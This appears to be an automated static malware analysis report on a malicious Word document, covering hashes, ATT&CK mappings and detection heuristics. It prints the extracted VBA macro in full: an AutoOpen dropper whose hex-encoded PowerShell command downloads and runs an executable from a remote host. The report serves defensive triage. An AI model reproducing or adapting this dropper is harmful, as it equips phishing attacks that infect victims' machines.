Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 f4a80ce106215f56…

MALICIOUS

Office (OOXML)

54.8 KB Created: 2021-01-31 23:09:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2021-05-29
MD5: 4c71217f1175ed70daa0fd1c760e1cdc SHA-1: dc8f2eef0565c3fc600bd0a74bb8ee3eb563f38d SHA-256: f4a80ce106215f56d38f94d8a4ccab43d665949362621595697c0426ce440c76
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is an OOXML document containing VBA macros. The 'autoopen' macro triggers the 'iuer' subroutine, which uses the Shell() function to execute a PowerShell command. This command downloads a second-stage executable from 'http://apo.palenc.club:2095/rf/s10.exe' and saves it as '%TEMP%\hhg.exe', then executes it. This indicates a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Dropper.Generic-9823774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Generic-9823774-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1326 bytes
SHA-256: 557ebe5588668380cca9d992c561f2d3a76e3404030460e1523ab90e583bc8db
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub eea44()

,"nbjxobbyyigzwqembwkvnaptp" ]
Local $sxaqjdmcf = [Int(BitNot(74766)) ,"ioemcimohijgnlwmjltwghtqu" ,BitAnd(BitXOR(11014,10),3581) ,"ijqedlpqrwxyptsovehqxzipi" ,Int(BitOr(Sqrt(43096),390)) ,BitAnd(BitOr(57819,5262),1715) ]

End Sub

Sub pin()

End Sub


Sub iuer()
Call Shell(ChrEncode("706F7765727368656C6C2E657865202D657865637574696F6E706F6C69637920627970617373202D572048696464656E202D636F6D6D616E6420286E65772D6F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F61706F2E70616C656E632E636C75623A323039352F72662F7331302E657865272C24656E763A54656D702B275C6868672E65786527293B284E65772D4F626A656374202D636F6D205368656C6C2E4170706C69636174696F6E292E5368656C6C457865637574652824656E763A54656D702B275C6868672E6578652729"))
End Sub

Function ChrEncode(str)
    Dim i
    Dim sStr
    sStr = ""
    For i = 1 To Len(str) Step 2
        sStr = sStr + Chr(CLng("&H" & Mid(str, i, 2)))
    Next
    ChrEncode = sStr
End Function

Sub autoopen()
iuer
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 89120007fd00a9f397a22422a1b09942cbe0775533674207024d49895fa8a3ce
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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